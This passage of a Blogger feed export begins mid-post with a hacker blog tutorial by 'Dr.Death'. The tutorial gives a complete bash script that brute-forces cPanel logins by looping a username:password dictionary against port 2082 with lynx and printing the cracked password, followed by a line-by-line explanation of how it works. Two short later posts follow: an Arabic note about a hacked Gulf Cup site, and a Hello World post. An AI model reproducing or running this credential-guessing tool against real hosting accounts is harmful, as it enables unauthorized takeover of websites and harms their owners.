Coded By Dr.Death 2008&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# drdeath[at]bsdmail.org&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#   This is a simple script that will brute force Cpanel account &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#    I do not take any reponsibilty for what you do with this tool&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#    Hopefully it will make your life easier rather then making other&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#    peoples lives more difficult!&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#############################&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;pre&gt;#  _____       _____             _   _&lt;br /&gt;# |  __ \     |  __ \           | | | |&lt;br /&gt;# | |  | |_ __| |  | | ___  __ _| |_| |__&lt;br /&gt;# | |  | | '__| |  | |/ _ \/ _` | __| '_ \&lt;br /&gt;# | |__| | | _| |__| |  __/ (_| | |_| | | |&lt;br /&gt;# |_____/|_|(_)_____/ \___|\__,_|\__|_| |_|&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#############################&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;br /&gt;echo&lt;/span&gt; ".::Cpanel BruteForcer By Dr.Death::."&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;echo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;echo -n&lt;/span&gt; "Enter domain name for the Cpanel account you want bruteforce:&lt;br /&gt;&gt; "&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt; read&lt;/span&gt; site&lt;br /&gt;&lt;br /&gt;n=&lt;span style="color: rgb(153, 51, 0);"&gt;`cat pass_list | wc -l`&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;for&lt;/span&gt; (( i=1; i &lt;= &lt;span style="color: rgb(255, 153, 0);"&gt;$n&lt;/span&gt;; i++));&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;do&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;password=&lt;span style="color: rgb(153, 51, 0);"&gt;`sed -n "$i"p pass_list`&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;b=&lt;span style="color: rgb(153, 51, 0);"&gt;`lynx -dump -nolist -auth="$password" ""$site":2082"`&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;echo&lt;/span&gt; trying password &lt;span style="color: rgb(255, 153, 102);"&gt;$password&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;if&lt;/span&gt; [ ! &lt;span style="color: rgb(51, 102, 255);"&gt;-z&lt;/span&gt; "$b" ]; &lt;span style="color: rgb(51, 102, 255);"&gt;then&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;echo&lt;/span&gt; "Bengo WebSite "&lt;span style="color: rgb(255, 153, 0);"&gt;$site&lt;/span&gt;" password is: "&lt;span style="color: rgb(255, 153, 0);"&gt;$password&lt;/span&gt;""&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;echo&lt;/span&gt; "Have Fun ;)"&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;exit &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;fi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;done&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;echo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;echo&lt;/span&gt; "brute force complete"&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;echo&lt;/span&gt; "no luck, try better dictionary"&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;exit&lt;/span&gt;&lt;br /&gt;==========================================&lt;br /&gt;&lt;br /&gt;lets explain what we did:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;to execute the script using bash shell from the environment "env".&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;read&lt;/span&gt; site&lt;/li&gt;&lt;/ul&gt;set the user input as variable "&lt;span style="color: rgb(255, 204, 102);"&gt;$site&lt;/span&gt;" which will be the website domain name.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;n=&lt;span style="color: rgb(153, 51, 0);"&gt;`cat pass_list | wc -l`&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;&lt;/span&gt;this will print how many lines in file "pass_list" which include passwords list.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;for&lt;/span&gt; (( i=1; i &lt;= &lt;span style="color: rgb(255, 153, 0);"&gt;$n&lt;/span&gt;; i++));&lt;/li&gt;&lt;/ul&gt;we put the number we got for the variable "&lt;span style="color: rgb(255, 153, 0);"&gt;$n&lt;/span&gt;" in a for loop, so for example if file pass_list have 1000 password on it we will do the for loop 1000 time, to try all the passwords.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;password=&lt;span style="color: rgb(153, 51, 0);"&gt;`sed -n "$i"p pass_list`&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;here we use "&lt;a href="http://unixhelp.ed.ac.uk/CGI/man-cgi?sed"&gt;sed&lt;/a&gt;" the steam editor with option "p" to print all the passwords in the pass_list in each loop.&lt;br /&gt;for example in loop number 4 variable &lt;span style="color: rgb(255, 153, 0);"&gt;$i&lt;/span&gt; will have value of 4 and the sed comand will be like this:&lt;br /&gt;&lt;span style="color: rgb(153, 51, 0);"&gt;"sed -n 4p pass_list"&lt;/span&gt; which will print the 4th line from the password file pass_list.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;b=&lt;span style="color: rgb(153, 51, 0);"&gt;`lynx -dump -nolist -auth="$password" ""$site":2082"`&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;here we use "&lt;a href="http://www.rt.com/man/lynx.1.html"&gt;lynx&lt;/a&gt;" the linux command line browser as a socket to connect to the target website.&lt;br /&gt;we use option &lt;span style="color: rgb(255, 255, 51);"&gt;"-dump"&lt;/span&gt; to dump the output instead of waiting user action, &lt;span style="color: rgb(255, 255, 51);"&gt;"-nolist"&lt;/span&gt; to disable the link list feature in dumps, &lt;span style="color: rgb(255, 255, 51);"&gt;"-auth="&lt;/span&gt; use to set authorization ID  and  password  for  protected&lt;span style="font-family:monospace;"&gt; &lt;/span&gt;documents.&lt;br /&gt;for example to access cpanel account for website &lt;span style="color: rgb(255, 0, 0);"&gt;"example.com"&lt;/span&gt; with username &lt;span style="color: rgb(255, 0, 0);"&gt;"user"&lt;/span&gt; and password &lt;span style="color: rgb(255, 0, 0);"&gt;"pass"&lt;/span&gt; it will be like this:&lt;br /&gt;&lt;span style="color: rgb(153, 51, 0);"&gt;"lynx -dump -nolist -auth=user:pass http://www.example.com:2082"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;so password file pass_list should include the usernames and passwords in this format: &lt;span style="color: rgb(255, 0, 0);"&gt;"username:password"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;if&lt;/span&gt; [ ! &lt;span style="color: rgb(51, 102, 255);"&gt;-z&lt;/span&gt; "$b" ]; &lt;span style="color: rgb(51, 102, 255);"&gt;then&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;here we use if statment with option &lt;span style="color: rgb(51, 102, 255);"&gt;"! -z"&lt;/span&gt; which mean if value of &lt;span style="color: rgb(255, 204, 102);"&gt;"$b"&lt;/span&gt; is not equal to Zero we are logged in and the password is the value of the variable &lt;span style="color: rgb(255, 204, 102);"&gt;"$password"&lt;/span&gt; in the loop we are in and exit successfuly, else continue the loop.&lt;br /&gt;&lt;br /&gt;Thats all falks :)&lt;br /&gt;Dr.Death&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1088426501839962463-8546932259120037961?l=www.securedeath.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.securedeath.com/feeds/8546932259120037961/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.securedeath.com/2009/01/how-to-build-your-own-bruteforce-tool.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/8546932259120037961'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/8546932259120037961'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/2009/01/how-to-build-your-own-bruteforce-tool.html' title='how to build your own BruteForce tool using linux shell script'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='05023211612874914938'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1088426501839962463.post-5906249389619338004</id><published>2009-01-11T17:04:00.004+04:00</published><updated>2009-01-17T21:05:00.019+04:00</updated><title type='text'>اختراق موقع خليجي 19</title><content type='html'>مسكين هذا الهكر ماله حيله&lt;br /&gt;على العموم مبروك فوز المنتخب العماني فوزه بالبطوله وهاردلك للبقيه&lt;br /&gt;&lt;a href="http://www.alweeam.com/news/news-action-show-id-7222.htm"&gt;http://www.alweeam.com/news/news-action-show-id-7222.htm&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1088426501839962463-5906249389619338004?l=www.securedeath.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.securedeath.com/feeds/5906249389619338004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.securedeath.com/2009/01/19.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/5906249389619338004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/5906249389619338004'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/2009/01/19.html' title='اختراق موقع خليجي 19'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='05023211612874914938'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1088426501839962463.post-4469752385378945749</id><published>2009-01-10T15:34:00.001+04:00</published><updated>2009-01-13T04:43:29.041+04:00</updated><title type='text'>Hello World</title><content type='html'>&lt;div dir="ltr" style="text-align: right;"&gt;&lt;div dir="ltr" style="text-align: left;"&gt;&lt;div style="text-align: left;"&gt;&lt;span dir="rtl" style="color: rgb(204, 102, 204); font-weight: bold;font-size:180%;" &gt;As they always  say&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre dir="ltr"&gt;&lt;span style="font-size:180%;"&gt;&lt;code style="color: rgb(255, 0, 0);"&gt;main() {&lt;br /&gt;  printf("&lt;span style="color: rgb(51, 51, 255);"&gt;Hello&lt;/span&gt;, &lt;span style="color: rgb(51, 51, 255);"&gt;World&lt;/span&gt;");&lt;br /&gt;}&lt;/code&gt;&lt;/span&gt;&lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1088426501839962463-4469752385378945749?l=www.securedeath.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.securedeath.com/feeds/4469752385378945749/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.securedeath.com/2009/01/welcome-to-dark-side.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/4469752385378945749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/4469752385378945749'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/2009/01/welcome-to-dark-side.html' title='Hello World'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='05023211612874914938'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry></feed>